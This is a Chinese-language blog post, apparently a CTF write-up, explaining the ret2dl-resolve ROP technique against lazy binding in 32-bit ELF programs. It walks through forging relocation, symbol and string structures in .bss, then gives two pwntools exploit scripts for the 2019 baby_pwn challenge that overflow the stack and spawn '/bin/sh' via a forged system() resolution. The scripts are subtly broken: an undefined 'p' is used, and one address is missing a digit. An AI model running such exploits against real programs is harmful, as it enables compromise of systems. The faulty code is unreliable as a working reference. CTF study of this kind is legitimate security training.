• Home
  • About
    • le3d1ng photo

      le3d1ng

      wake up u need #...

    • Learn More
    • Twitter
    • Facebook
    • Instagram
    • Tumblr
    • Github
    • Steam
  • Posts
    • All Posts
    • All Tags
  • Links

2019.4.23 ret2dl-resolve

23 Apr 2019

Reading time ~2 minutes

ROP - ret2dlresolve

前两天打国赛遇到一个ret2resolve的题,正好前一天研究过,又是个原题。

比赛时脚本是用roputil.py构造的。现在来记录一下原理和手动构造的方法。

简单说一下lazy bind机制下动态链接的过程。

第一次调用某库函数时,其对应GOT表中是没有其真实地址的,因此不会直接根据GOT表内容跳到对应内存地址执行函数。

而是进行一个动态链接,这个过程正常来说会将要调用库函数的真实地址写到其对应GOT表中。

动态链接之后程序便会将控制权交给对应函数。

简单来说,整个动态链接实质上就是执行_dl_runtime_resolve(link_map_obj, reloc_index)这个函数的过程。

以32位程序为例,这个过程涉及到几个关键结构体和table:

  1. ELF JMPREL Relocation Table

    这个table中包含着Elf32_Rel结构体

    其结构为:

   typedef struct {
   Elf32_Addr r_offset;    
   Elf32_Word r_info;
   } Elf32_Rel;

5cbed3a1909c4

5cbed5fa8719a

实际上r_offset是对应函数got表的地址,也就是最后要写值的地址。r_info是用来寻址的,其低8位一般为0x07,r_info >> 8为对应函数的Elf32_Sym结构体在ELF Symbol Table中的下标。read函数的r_info为0x107,观察可以得知,下图ELF Symbol Table中read函数下标恰好为1。

同时由上图可知,Elf32_Rel结构体是从0x804833c开始,8字节对齐的,这一点在布局时很关键。

  1. ELF Symbol Table

    这个table中包含Elf32_Sym结构体

    其结构为:

    typedef struct
    {
        Elf32_Word st_name;     // Symbol name(string tbl index)
        Elf32_Addr st_value;    // Symbol value
        Elf32_Word st_size;     // Symbol size
        unsigned char st_info;  // Symbol type and binding
        unsigned char st_other; // Symbol visibility under glibc>=2.2
        Elf32_Section st_shndx; // Section index
    } Elf32_Sym;
    

    5cbed450b1e53

    5cbed6797c164

    这里只要关心两个属性,st_name中存的是对应函数名在elf_string_table中的偏移。st_info一般为0x12。

    同时由上图可知,Elf32_Sym结构体是从0x80481dc开始,16字节对齐的,这一点在布局时很关键。

  2. ELF String Table

    这个table包含的是对应函数的名字。

    5cbed5b6419fb

    5cbed6e82afbb

具体过程,dl_runtime_resolve函数需要两个参数,分别为link_map,reloc_arg。

link_map参数在当程序执行到plt[0]时会被push入栈,不需要我们操作。

dl_runtime_resolve会根据传入的reloc_arg:

  1. 在ELF JMPREL Relocation Table中搜索对应函数的Elf32_Rel结构体。

  2. 根据对应Elf32_Rel结构体的r_info属性,去ELF Symbol Table中寻找对应函数的Elf32_Sym结构体。

  3. 根据对应Elf32_Sym结构体的st_name属性,去ELF String Table中找到对应函数的名字,并在libc中搜索这个函数,将其真实地址写在对应Elf32_Rel结构体r_offset属性指向的地址(正常为函数的GOT表)。

上面寻找的过程,是通过基地址+偏移来进行的,也就是通过table地址+offset。值得注意的是,dl_runtime_resolve并没有对reloc_arg,r_info,st_name限制上界。

也就是说,我们可以传入一个很大的reloc_arg,让ELF JMPREL Relocation Table + reloc_arg寻找到的Elf32_Rel结构体落在我们可控的区域(如bss)。从而控制其找到我们伪造的Elf32_Rel结构体。

控制了Elf32_Rel结构体,我们可以伪造它的r_info属性为一个很大的值,使得ELF Symbol Table + r_info >> 8同样落在可控区域。从而控制其找到我们伪造的Elf32_Sym结构体。

控制了Elf32_Sym结构体,我们可以伪造它的st_name属性为一个很大的值,使得ELF String Table + st_name也落在可控区域,从而最终控制了要链接的函数。

一个例子如下:

这是我们在bss段上伪造好的一系列结构体。

5cbee0ff6fafc

黄色为最后getshell的参数,/bin/sh

红色为伪造的Elf32_Rel结构体(可以看出来他以0x0804833C为基址对齐了8字节。),其r_offset属性在这里不是got表,而是bss上的一个地址(因为动态链接之后会直接将控制权交给对应函数,所以r_offset属性并不重要)。其r_info属性(0x1e907)会指引dl_runtime_resolve函数找到伪造的Elf_Sym结构体,即蓝色区域。

蓝色为伪造的Elf_Sym结构体(可以看出来他以0x080481DC为基址对齐了16字节。),其st_name属性(0x1e04)会指引dl_runtime_resolve函数找到我们的恶意函数名,即绿色区域,并将恶意函数实际地址写在r_offset位置,然后将控制权交给恶意函数。

绿色为恶意函数名,这里为system函数。(不需对齐)

各个偏移的计算方法。

reloc_arg : 要控制其找到红色区域,只要使得reloc_arg为红色区域地址 - ELF JMPREL Relocation Table基址,即为0x804a054 - 0x0804833C = 0x1d18

r_info : 要控制其找到蓝色区域,只要使得r_info低8位为0x07,高位为(蓝色区域地址 - ELF Symbol Table基址)*0x10,即r_info = (0x804a06c - 0x080481DC)*0x10 + 0x07 = 0x1e907

st_name : 要控制其找到绿色区域,只要使得st_name为绿色区域地址 - ELF String Table基址,即st_name = 0x0804a080 - 0x0804827C =0x1e04

构造好了,怎么触发并且getshell呢?

要想手动触发恶意dl_runtime_resolve,只需将reloc_arg压入栈中然后将程序执行流导向plt[0]即可。

此例为payload = padding + p32(plt0addr) + p32(reloc_arg) + 'AAAA' + p32(0x804a040),其中padding为溢出到返回地址之前的填充,'AAAA'为执行完恶意函数后的返回地址,0x804a040为传递给恶意函数的参数,即/bin/sh地址。


例:2019第12届全国大学生信息安全竞赛 baby_pwn

checksec:

5cbee6bda0317

5cbee70260cd4

5cbee70b576f8

明显的栈溢出,但是整个程序没有可以泄露信息的地方。

可以使用ret2dl-resolve攻击。

第一次溢出利用read往bss写入构造的结构体,控制返回到vuln()进行第二次输入。

第二次溢出控制执行流到plt[0],并将所需参数压栈。

getshell。

exp:

from pwn import *

io = process('./pwn')
elf = ELF('./pwn')
#io = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com', 33865)

context.log_level = 'debug'
context.terminal = ['terminator' , '-x' , 'sh' , '-c']


'''
before:
pwndbg> x/64wx 0x804a040
0x804a040:    0xf7f44cc0    0x00000000    0x00000000    0x00000000

0x804a050:    0x00000000    0x00000000    0x00000000    0x00000000
0x804a060:    0xf7f445a0    0xf7f44d60    0x00000000    0x00000000

0x804a070:    0x00000000    0x00000000    0x00000000    0x00000000
0x804a080:    0x00000000    0x00000000    0x00000000    0x00000000
0x804a090:    0x00000000    0x00000000    0x00000000    0x00000000
after:
pwndbg> x/32wx 0x0804a040
0x804a040:    0x6e69622f    0x0068732f    0x41414141    0x41414141

0x804a050:    0x41414141    0x0804a048    0x0001e907    0x41414141
0x804a060:    0x41414141    0x41414141    0x41414141    0x00001e04

0x804a070:    0x00000000    0x00000000    0x00000012    0x41414141
0x804a080:    0x74737973    0x00006d65    0x00000000    0x00000000
'''
offset = 44
bssaddr = elf.bss()

readplt = 0x08048390
vulFunc = 0x0804852
jmprel = 0x0804833C
symtable = 0x080481DC
strtable = 0x0804827C
plt0 = 0x08048380


fakerelt = bssaddr + 4*5 - jmprel  #0x1d18
fakesymtable = bssaddr + 4*11 - symtable
fakestr = 0x804a080-strtable

pay1 = 'a'*44
pay1+= p32(readplt) + p32(vulFunc) + p32(0) + p32(bssaddr) + p32(100)
p.send(pay1)

pay2 = '/bin/sh\x00'+'A'*12
pay2 += p32(bssaddr+8) + p32(fakesymtable*0x10+7) + 'A'*16 + p32(fakestr) + p32(0) + p32(0) + p32(0x12) + 'AAAA'
pay2 += 'system\x00'

p.send(pay2)

pay3 = 'A'*44
pay3+= p32(plt0)
pay3 += p32(fakerelt)
pay3 += 'aaaa'
pay3 += p32(elf.bss())

p.send(pay3)

p.interactive()

5cbee9f27437d

当然,使用roputil.py这个库来自动化构造肯定是首选的,此处参考sakura师傅的exp:

#coding:utf-8
import sys
import roputils
from pwn import *

offset = 44
readplt = 0x08048390
bss = 0x0804a020
vulFunc = 0x0804852D

rop = roputils.ROP('./pwn')
addr_bss = rop.section('.bss')

# step1 : write sh & resolve struct to bss
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)

buf2 =  rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system')
buf2 += rop.fill(100, buf2)

print buf2
print hex(addr_bss)
p.send(buf2)

#debug()
#step2 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss)
p.send(buf3)
#print hex(u32(buf3[48:52])),len(buf3)


debug()
p.interactive()


ROPpwnret2dl-resolvewriteup Share Tweet +1